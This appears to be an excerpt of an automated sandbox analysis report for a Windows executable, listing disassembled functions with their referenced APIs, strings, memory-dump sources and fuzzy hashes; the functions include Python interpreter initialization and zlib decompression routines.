PyObject_GetAttrString, xrefs: 00007FF7FF585D43, 00007FF7FF585D65
PyImport_AddModule, xrefs: 00007FF7FF585BD3, 00007FF7FF585BF5
PyImport_ExecCodeModule, xrefs: 00007FF7FF585C01, 00007FF7FF585C23
PyPreConfig_InitIsolatedConfig, xrefs: 00007FF7FF585DCD, 00007FF7FF585DEF

Memory Dump Source

Source File: 00000000.00000002.1511465811.00007FF7FF581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7FF580000, based on PE: true

Associated: 00000000.00000002.1511442281.00007FF7FF580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511499211.00007FF7FF5AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511529578.00007FF7FF5BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511529578.00007FF7FF5C2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511584327.00007FF7FF5C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7ff580000_YgJ5inWPQO.jbxd

Similarity

API ID: AddressErrorLastProc
String ID: Failed to get address for %hs$GetProcAddress$PyConfig_Clear$PyConfig_InitIsolatedConfig$PyConfig_Read$PyConfig_SetBytesString$PyConfig_SetString$PyConfig_SetWideStringList$PyErr_Clear$PyErr_Fetch$PyErr_NormalizeException$PyErr_Occurred$PyErr_Print$PyErr_Restore$PyEval_EvalCode$PyImport_AddModule$PyImport_ExecCodeModule$PyImport_ImportModule$PyMarshal_ReadObjectFromString$PyMem_RawFree$PyModule_GetDict$PyObject_CallFunction$PyObject_CallFunctionObjArgs$PyObject_GetAttrString$PyObject_SetAttrString$PyObject_Str$PyPreConfig_InitIsolatedConfig$PyRun_SimpleStringFlags$PyStatus_Exception$PySys_GetObject$PySys_SetObject$PyUnicode_AsUTF8$PyUnicode_Decode$PyUnicode_DecodeFSDefault$PyUnicode_FromFormat$PyUnicode_FromString$PyUnicode_Join$PyUnicode_Replace$Py_DecRef$Py_DecodeLocale$Py_ExitStatusException$Py_Finalize$Py_InitializeFromConfig$Py_IsInitialized$Py_PreInitialize
API String ID: 199729137-653951865
Opcode ID: 3ca4f2c8e8fa74ff45c561f9825c8e8d27386d4e804e1314c270c66bff6859f6
Instruction ID: bd9b1a2efc8007b7e2a5e0ca7d31ad65ae96febdde4dc04b6c5a29345f16109f
Opcode Fuzzy Hash: 3ca4f2c8e8fa74ff45c561f9825c8e8d27386d4e804e1314c270c66bff6859f6
Instruction Fuzzy Hash: DC228164A0AB8791FB15BB65A8141F4A7A0BF05B55FD55236C83E032E0FF3CA568C2F0

Function 00007FF7FF5A411C Relevance: 24.0, APIs: 9, Strings: 4, Instructions: 1226COMMON

Download Yara Rule

APIs

fegetenv.LIBCMT ref: 00007FF7FF5A416A
_invalid_parameter_noinfo.LIBCMT ref: 00007FF7FF5A47D6
_invalid_parameter_noinfo.LIBCMT ref: 00007FF7FF5A494C
_invalid_parameter_noinfo.LIBCMT ref: 00007FF7FF5A4C0A
_invalid_parameter_noinfo.LIBCMT ref: 00007FF7FF5A4E2A
_invalid_parameter_noinfo.LIBCMT ref: 00007FF7FF5A5067
memcpy_s.LIBCPMT ref: 00007FF7FF5A5142
memcpy_s.LIBCPMT ref: 00007FF7FF5A51ED
memcpy_s.LIBCPMT ref: 00007FF7FF5A52BC

Strings

1#INF, xrefs: 00007FF7FF5A4293
1#SNAN, xrefs: 00007FF7FF5A427A
1#IND, xrefs: 00007FF7FF5A4257
1#QNAN, xrefs: 00007FF7FF5A4283

Memory Dump Source

Source File: 00000000.00000002.1511465811.00007FF7FF581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7FF580000, based on PE: true

Associated: 00000000.00000002.1511442281.00007FF7FF580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511499211.00007FF7FF5AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511529578.00007FF7FF5BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511529578.00007FF7FF5C2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511584327.00007FF7FF5C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7ff580000_YgJ5inWPQO.jbxd

Similarity

API ID: _invalid_parameter_noinfo$memcpy_s$fegetenv
String ID: 1#IND$1#INF$1#QNAN$1#SNAN
API String ID: 808467561-2761157908
Opcode ID: 5eb30dd7dc62229e37aa5031b27090d50e2656cb9eae334aa241f26caa9cb01e
Instruction ID: 7fa8fa7d17d77a76ab597245addec6bd60770b543e87efa53057a6bb7910082f
Opcode Fuzzy Hash: 5eb30dd7dc62229e37aa5031b27090d50e2656cb9eae334aa241f26caa9cb01e
Instruction Fuzzy Hash: 21B20672A192C28BE7249FA4D480BFDB7A1FB45744F805235DA3D57AD8DF38A910CB90

Function 00007FF7FF58AD1D Relevance: 12.0, Strings: 9, Instructions: 744COMMON

Download Yara Rule

Strings

invalid distance code, xrefs: 00007FF7FF58B624
invalid distances set, xrefs: 00007FF7FF58B210
invalid literal/length code, xrefs: 00007FF7FF58B452
invalid distance too far back, xrefs: 00007FF7FF58B6E0
invalid literal/lengths set, xrefs: 00007FF7FF58B1A3
invalid bit length repeat, xrefs: 00007FF7FF58B109
invalid code lengths set, xrefs: 00007FF7FF58AE9D
too many length or distance symbols, xrefs: 00007FF7FF58AEB6
invalid code -- missing end-of-block, xrefs: 00007FF7FF58B136

Memory Dump Source

Source File: 00000000.00000002.1511465811.00007FF7FF581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7FF580000, based on PE: true

Associated: 00000000.00000002.1511442281.00007FF7FF580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511499211.00007FF7FF5AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511529578.00007FF7FF5BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511529578.00007FF7FF5C2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511584327.00007FF7FF5C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7ff580000_YgJ5inWPQO.jbxd

Similarity

API ID:
String ID: invalid bit length repeat$invalid code -- missing end-of-block$invalid code lengths set$invalid distance code$invalid distance too far back$invalid distances set$invalid literal/length code$invalid literal/lengths set$too many length or distance symbols
API String ID: 0-2665694366
Opcode ID: 183baba8c618070380c74d0f680cff30a06716a401d1faaba0935d79222a4dc0
Instruction ID: 899cbd6a794aea12dd8489579677d658fe8b8d257725f069028a8b4a1f20b1e9
Opcode Fuzzy Hash: 183baba8c618070380c74d0f680cff30a06716a401d1faaba0935d79222a4dc0
Instruction Fuzzy Hash: F452E372A186E59BE7A49F14C458ABE7BADFB44340F414238E66A877D0DF3CD844CB90

Function 00007FF7FF58D19C Relevance: 10.6, APIs: 7, Instructions: 71COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32 ref: 00007FF7FF58D1B8
RtlCaptureContext.KERNEL32 ref: 00007FF7FF58D1E5
RtlLookupFunctionEntry.KERNEL32 ref: 00007FF7FF58D1FF
RtlVirtualUnwind.KERNEL32 ref: 00007FF7FF58D240
IsDebuggerPresent.KERNEL32 ref: 00007FF7FF58D294
SetUnhandledExceptionFilter.KERNEL32 ref: 00007FF7FF58D2B1
UnhandledExceptionFilter.KERNEL32 ref: 00007FF7FF58D2BC

Memory Dump Source

Source File: 00000000.00000002.1511465811.00007FF7FF581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7FF580000, based on PE: true

Associated: 00000000.00000002.1511442281.00007FF7FF580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511499211.00007FF7FF5AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511529578.00007FF7FF5BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511529578.00007FF7FF5C2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511584327.00007FF7FF5C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7ff580000_YgJ5inWPQO.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$CaptureContextDebuggerEntryFeatureFunctionLookupProcessorUnwindVirtual
String ID:
API String ID: 3140674995-0
Opcode ID: e81d7d82d421bb6c6595da19fcb57285cd54aee8b88ef40036ddb2a35706c3b0
Instruction ID: c2acd07a565e386ac312abf6f36a38e48317dc5d6bc808492fb01e9d945daff6
Opcode Fuzzy Hash: e81d7d82d421bb6c6595da19fcb57285cd54aee8b88ef40036ddb2a35706c3b0
Instruction Fuzzy Hash: 19314372609BC196EB609F60E8403EE73A1FB84704F84413ADA6D47B98EF3CD558C750

Function 00007FF7FF5A5C70 Relevance: 9.3, APIs: 6, Instructions: 334timeCOMMON

Download Yara Rule

APIs

_get_daylight.LIBCMT ref: 00007FF7FF5A5CB5

Part of subcall function 00007FF7FF5A5608: _invalid_parameter_noinfo.LIBCMT ref: 00007FF7FF5A561C

Part of subcall function 00007FF7FF59A9B8: RtlFreeHeap.NTDLL(?,?,?,00007FF7FF5A2D92,?,?,?,00007FF7FF5A2DCF,?,?,00000000,00007FF7FF5A3295,?,?,?,00007FF7FF5A31C7), ref: 00007FF7FF59A9CE
Part of subcall function 00007FF7FF59A9B8: GetLastError.KERNEL32(?,?,?,00007FF7FF5A2D92,?,?,?,00007FF7FF5A2DCF,?,?,00000000,00007FF7FF5A3295,?,?,?,00007FF7FF5A31C7), ref: 00007FF7FF59A9D8

Part of subcall function 00007FF7FF59A970: IsProcessorFeaturePresent.KERNEL32(?,?,?,?,00007FF7FF59A94F,?,?,?,?,?,00007FF7FF59A83A), ref: 00007FF7FF59A979
Part of subcall function 00007FF7FF59A970: GetCurrentProcess.KERNEL32(?,?,?,?,00007FF7FF59A94F,?,?,?,?,?,00007FF7FF59A83A), ref: 00007FF7FF59A99E

_get_daylight.LIBCMT ref: 00007FF7FF5A5CA4

Part of subcall function 00007FF7FF5A5668: _invalid_parameter_noinfo.LIBCMT ref: 00007FF7FF5A567C

_get_daylight.LIBCMT ref: 00007FF7FF5A5F1A
_get_daylight.LIBCMT ref: 00007FF7FF5A5F2B
_get_daylight.LIBCMT ref: 00007FF7FF5A5F3C
GetTimeZoneInformation.KERNEL32(?,?,?,?,?,?,?,?,?,00000000,?,00007FF7FF5A617C), ref: 00007FF7FF5A5F63

Memory Dump Source

Source File: 00000000.00000002.1511465811.00007FF7FF581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7FF580000, based on PE: true

Associated: 00000000.00000002.1511442281.00007FF7FF580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511499211.00007FF7FF5AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511529578.00007FF7FF5BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511529578.00007FF7FF5C2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511584327.00007FF7FF5C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7ff580000_YgJ5inWPQO.jbxd

Similarity

API ID: _get_daylight$_invalid_parameter_noinfo$CurrentErrorFeatureFreeHeapInformationLastPresentProcessProcessorTimeZone
String ID:
API String ID: 4070488512-0
Opcode ID: 76424cc0ec02945f4fd2ccc640ea60475aa997d4131cc6c9dd67359800dfdabb
Instruction ID: 19577b267cfca23daac5ff011ebdbb43c71149401190becd7be0bf4097eda078
Opcode Fuzzy Hash: 76424cc0ec02945f4fd2ccc640ea60475aa997d4131cc6c9dd67359800dfdabb
Instruction Fuzzy Hash: DBD1C026A0928286EB24BF35D4409F9A791FF45B84FC48235EA3D476D6DF3CE46187A0

Function 00007FF7FF59A684 Relevance: 9.1, APIs: 6, Instructions: 83COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlCaptureContext.KERNEL32 ref: 00007FF7FF59A6FD
RtlLookupFunctionEntry.KERNEL32 ref: 00007FF7FF59A715
RtlVirtualUnwind.KERNEL32 ref: 00007FF7FF59A750
IsDebuggerPresent.KERNEL32 ref: 00007FF7FF59A789
SetUnhandledExceptionFilter.KERNEL32 ref: 00007FF7FF59A793
UnhandledExceptionFilter.KERNEL32 ref: 00007FF7FF59A79E

Memory Dump Source

Source File: 00000000.00000002.1511465811.00007FF7FF581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7FF580000, based on PE: true

Associated: 00000000.00000002.1511442281.00007FF7FF580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511499211.00007FF7FF5AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511529578.00007FF7FF5BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511529578.00007FF7FF5C2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511584327.00007FF7FF5C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7ff580000_YgJ5inWPQO.jbxd

Similarity

API ID: ExceptionFilterUnhandled$CaptureContextDebuggerEntryFunctionLookupPresentUnwindVirtual
String ID:
API String ID: 1239891234-0
Opcode ID: 823e7cd4caae9fc37a1281b2c5c5551f9de180c5e8ac7c275112a8c84bbfd9bf
Instruction ID: 33fa9eb35eca640c0c64bb445f1c715feab2f126a69611951d5a1ba6ec53cb56
Opcode Fuzzy Hash: 823e7cd4caae9fc37a1281b2c5c5551f9de180c5e8ac7c275112a8c84bbfd9bf
Instruction Fuzzy Hash: A0319632618BC196DB60DF64E8402EEB3A4FB88754F940236EAAD43BA9DF3CC155C750

Function 00007FF7FF5A18E4 Relevance: 7.8, APIs: 5, Instructions: 282COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7FF5A1930
FindFirstFileExW.KERNEL32 ref: 00007FF7FF5A1A3A

Memory Dump Source

Source File: 00000000.00000002.1511465811.00007FF7FF581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7FF580000, based on PE: true

Associated: 00000000.00000002.1511442281.00007FF7FF580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511499211.00007FF7FF5AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511529578.00007FF7FF5BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511529578.00007FF7FF5C2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511584327.00007FF7FF5C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7ff580000_YgJ5inWPQO.jbxd

Similarity

API ID: FileFindFirst_invalid_parameter_noinfo
String ID:
API String ID: 2227656907-0
Opcode ID: 5fde642f47360a120b3bbdc49a752417dcdc94f7dd720a243365bab1f94d45be
Instruction ID: 02d96841ccad658c57baafa351ff0ad6bfcc1f1b2a693bf5a34f38f384d63759
Opcode Fuzzy Hash: 5fde642f47360a120b3bbdc49a752417dcdc94f7dd720a243365bab1f94d45be
Instruction Fuzzy Hash: ABB1E622B1A6C641EF60AB6194101F9E391EB45BE4F845332DE7E47BC5EE3CE451CBA0

Function 00007FF7FF5A5EEC Relevance: 6.1, APIs: 4, Instructions: 143timeCOMMON

Download Yara Rule

APIs

_get_daylight.LIBCMT ref: 00007FF7FF5A5F1A

Part of subcall function 00007FF7FF5A5668: _invalid_parameter_noinfo.LIBCMT ref: 00007FF7FF5A567C

_get_daylight.LIBCMT ref: 00007FF7FF5A5F2B

Part of subcall function 00007FF7FF5A5608: _invalid_parameter_noinfo.LIBCMT ref: 00007FF7FF5A561C

_get_daylight.LIBCMT ref: 00007FF7FF5A5F3C

Part of subcall function 00007FF7FF5A5638: _invalid_parameter_noinfo.LIBCMT ref: 00007FF7FF5A564C

Part of subcall function 00007FF7FF59A9B8: RtlFreeHeap.NTDLL(?,?,?,00007FF7FF5A2D92,?,?,?,00007FF7FF5A2DCF,?,?,00000000,00007FF7FF5A3295,?,?,?,00007FF7FF5A31C7), ref: 00007FF7FF59A9CE
Part of subcall function 00007FF7FF59A9B8: GetLastError.KERNEL32(?,?,?,00007FF7FF5A2D92,?,?,?,00007FF7FF5A2DCF,?,?,00000000,00007FF7FF5A3295,?,?,?,00007FF7FF5A31C7), ref: 00007FF7FF59A9D8

GetTimeZoneInformation.KERNEL32(?,?,?,?,?,?,?,?,?,00000000,?,00007FF7FF5A617C), ref: 00007FF7FF5A5F63

Memory Dump Source

Source File: 00000000.00000002.1511465811.00007FF7FF581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7FF580000, based on PE: true

Associated: 00000000.00000002.1511442281.00007FF7FF580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511499211.00007FF7FF5AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511529578.00007FF7FF5BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511529578.00007FF7FF5C2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511584327.00007FF7FF5C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7ff580000_YgJ5inWPQO.jbxd

Similarity

API ID: _get_daylight_invalid_parameter_noinfo$ErrorFreeHeapInformationLastTimeZone
String ID:
API String ID: 3458911817-0
Opcode ID: 8084827ab6892e9bf44fc7ae7df730cc4e836e683a41a1d7f4ca7a201d78ec16
Instruction ID: b6ef958c8ac94739bf6d8f76c05d987a231373268d83bf905ddb53313eeba5ea
Opcode Fuzzy Hash: 8084827ab6892e9bf44fc7ae7df730cc4e836e683a41a1d7f4ca7a201d78ec16
Instruction Fuzzy Hash: B8517232A0968286E720FF35D8815E9E760BB49B84FC45235EA7D436D6DF3CE45187E0

Function 00007FF7FF58D080 Relevance: 6.0, APIs: 4, Instructions: 39timethreadCOMMON

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 00007FF7FF58D0AC
GetCurrentThreadId.KERNEL32 ref: 00007FF7FF58D0BA
GetCurrentProcessId.KERNEL32 ref: 00007FF7FF58D0C6
QueryPerformanceCounter.KERNEL32 ref: 00007FF7FF58D0D6

Memory Dump Source

Source File: 00000000.00000002.1511465811.00007FF7FF581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7FF580000, based on PE: true

Associated: 00000000.00000002.1511442281.00007FF7FF580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511499211.00007FF7FF5AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511529578.00007FF7FF5BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511529578.00007FF7FF5C2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511584327.00007FF7FF5C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7ff580000_YgJ5inWPQO.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: c7e0dc91749b0d7e19b464317103f3c41f17e8dff95374d43b780ecdfe6bf67b
Instruction ID: d956370f095327b0a8fec152f3f840f2f1dfe7a48a71acb42c300fac3105d4b8
Opcode Fuzzy Hash: c7e0dc91749b0d7e19b464317103f3c41f17e8dff95374d43b780ecdfe6bf67b
Instruction Fuzzy Hash: 15114C22B15B458AEB00DB60E8542F973B4FB19758F840E31DA3D477A4DF38D1648390

Function 00007FF7FF5A3C80 Relevance: 4.8, APIs: 3, Instructions: 340COMMON

Download Yara Rule

APIs

memcpy_s.LIBCPMT ref: 00007FF7FF5A3CE6
memcpy_s.LIBCPMT ref: 00007FF7FF5A3D11

Memory Dump Source

Source File: 00000000.00000002.1511465811.00007FF7FF581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7FF580000, based on PE: true

Associated: 00000000.00000002.1511442281.00007FF7FF580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511499211.00007FF7FF5AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511529578.00007FF7FF5BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511529578.00007FF7FF5C2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511584327.00007FF7FF5C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7ff580000_YgJ5inWPQO.jbxd

Similarity

API ID: memcpy_s
String ID:
API String ID: 1502251526-0
Opcode ID: 723df14fe8405c9280d13974b9e0b256372cd2939c4def8ecbac686ef57d643c
Instruction ID: 8905af6f71f7964b555679a9f8e29820ce2ea6318be740451705dcad4fe59915
Opcode Fuzzy Hash: 723df14fe8405c9280d13974b9e0b256372cd2939c4def8ecbac686ef57d643c
Instruction Fuzzy Hash: 6BC10572B1A2C687D7249F59A0846BAF791F794788F808234DB6E57784DF3DE811CB80

Function 00007FF7FF58A4E4 Relevance: 4.1, Strings: 3, Instructions: 398COMMON

Download Yara Rule

Strings

unknown header flags set, xrefs: 00007FF7FF58A535
header crc mismatch, xrefs: 00007FF7FF58A991
, xrefs: 00007FF7FF58A5CB

Memory Dump Source

Source File: 00000000.00000002.1511465811.00007FF7FF581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7FF580000, based on PE: true

Associated: 00000000.00000002.1511442281.00007FF7FF580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511499211.00007FF7FF5AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511529578.00007FF7FF5BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511529578.00007FF7FF5C2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511584327.00007FF7FF5C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7ff580000_YgJ5inWPQO.jbxd

Similarity

API ID:
String ID: $header crc mismatch$unknown header flags set
API String ID: 0-1127688429
Opcode ID: 41de47797cb66f1826093f4b1d60416fd99d26d25a53ce6bfd127eaa39bdfb5e
Instruction ID: ad51a6e68d4b5467d695309855bf2a143709a1e70b094d277d5e64a8331876af
Opcode Fuzzy Hash: 41de47797cb66f1826093f4b1d60416fd99d26d25a53ce6bfd127eaa39bdfb5e
Instruction Fuzzy Hash: 20F1C472A093C55BE795AF14C088BBABAA9FF45740F464278DA79477D1CF38E440CB90

Function 00007FF7FF5A9798 Relevance: 3.2, APIs: 2, Instructions: 227COMMONLIBRARYCODE

Download Yara Rule

APIs

_clrfp.LIBCMT ref: 00007FF7FF5A99E7
RaiseException.KERNEL32 ref: 00007FF7FF5A99F8

Memory Dump Source

Source File: 00000000.00000002.1511465811.00007FF7FF581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7FF580000, based on PE: true

Associated: 00000000.00000002.1511442281.00007FF7FF580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511499211.00007FF7FF5AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511529578.00007FF7FF5BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511529578.00007FF7FF5C2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511584327.00007FF7FF5C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7ff580000_YgJ5inWPQO.jbxd

Similarity

API ID: ExceptionRaise_clrfp
String ID:
API String ID: 15204871-0
Opcode ID: 2f74b2cda317b12825bead48c90720a79ba1abfeed249303701d480a1679e454
Instruction ID: 936d09f451a54831d0c965fbfc7d934f2674cc38fb1a3c6023ec892390a64d3a
Opcode Fuzzy Hash: 2f74b2cda317b12825bead48c90720a79ba1abfeed249303701d480a1679e454
Instruction Fuzzy Hash: 48B18D73A05B998BEB15CF29C4463A8BBE0F784B48F158922DB6D837A4CF39D461C750

Function 00007FF7FF593A14 Relevance: 2.8, Strings: 2, Instructions: 350COMMON

Download Yara Rule

Strings

, xrefs: 00007FF7FF593B82
, xrefs: 00007FF7FF593DC4

Memory Dump Source

Source File: 00000000.00000002.1511465811.00007FF7FF581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7FF580000, based on PE: true

Associated: 00000000.00000002.1511442281.00007FF7FF580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511499211.00007FF7FF5AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511529578.00007FF7FF5BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511529578.00007FF7FF5C2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511584327.00007FF7FF5C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7ff580000_YgJ5inWPQO.jbxd

Similarity

API ID:
String ID: $
API String ID: 0-227171996
Opcode ID: 3098a868bf4d382f942c0283459ab4806c0f53f7eb332f8174ba39f6fc7772a0
Instruction ID: 2d3f6f2730ac2c732508c38ebc1b12f2d2b2aec967bbed93e7cdaa029feb3d5d
Opcode Fuzzy Hash: 3098a868bf4d382f942c0283459ab4806c0f53f7eb332f8174ba39f6fc7772a0
Instruction Fuzzy Hash: 47E1E632908682C2EB7CAF2581501BDB3A9FF45B88F945335DA7E276D5DF29E841C390

Function 00007FF7FF58A34B Relevance: 2.7, Strings: 2, Instructions: 216COMMON

Download Yara Rule

Strings

incorrect header check, xrefs: 00007FF7FF58A4CB
invalid window size, xrefs: 00007FF7FF58A4B2

Memory Dump Source

Source File: 00000000.00000002.1511465811.00007FF7FF581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7FF580000, based on PE: true

Associated: 00000000.00000002.1511442281.00007FF7FF580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511499211.00007FF7FF5AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511529578.00007FF7FF5BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511529578.00007FF7FF5C2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511584327.00007FF7FF5C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7ff580000_YgJ5inWPQO.jbxd

Similarity

API ID:
String ID: incorrect header check$invalid window size
API String ID: 0-900081337
Opcode ID: 5aba513b73eb8988df982bd12c0510577381bb82701c7147ce4cedc0b53fa8f7
Instruction ID: b23648fb82a4d9511575b4e14c0298f11bc10eab4b93c0cb283e82f9ec917c69
Opcode Fuzzy Hash: 5aba513b73eb8988df982bd12c0510577381bb82701c7147ce4cedc0b53fa8f7
Instruction Fuzzy Hash: 2E91D672A182C697E7A49E14C488BBE7AADFB44350F914279DA7A477D0CF38E540CB90

Function 00007FF7FF59DF60 Relevance: 2.6, Strings: 2, Instructions: 144COMMON

Download Yara Rule

Strings

e+000, xrefs: 00007FF7FF59E06D
gfff, xrefs: 00007FF7FF59E0EA

Memory Dump Source

Source File: 00000000.00000002.1511465811.00007FF7FF581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7FF580000, based on PE: true

Associated: 00000000.00000002.1511442281.00007FF7FF580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511499211.00007FF7FF5AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511529578.00007FF7FF5BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511529578.00007FF7FF5C2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511584327.00007FF7FF5C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7ff580000_YgJ5inWPQO.jbxd

Similarity

API ID:
String ID: e+000$gfff
API String ID: 0-3030954782
Opcode ID: b62be3d0480bbbd0e022829aa0980c84d51f153df7fa61e27e52cad2b39beef0
Instruction ID: 3ba2ff0efef46aeb1bcd9b7983cf785524c735a4563e49ffb1b34ac2f8799542
Opcode Fuzzy Hash: b62be3d0480bbbd0e022829aa0980c84d51f153df7fa61e27e52cad2b39beef0
Instruction Fuzzy Hash: 56517722B182D586E7399E35A8817A9BB91E744B94F889331CBBC47BC5CF3DE441C760

Function 00007FF7FF5A0938 Relevance: 2.0, APIs: 1, Instructions: 461COMMON

Download Yara Rule

Memory Dump Source

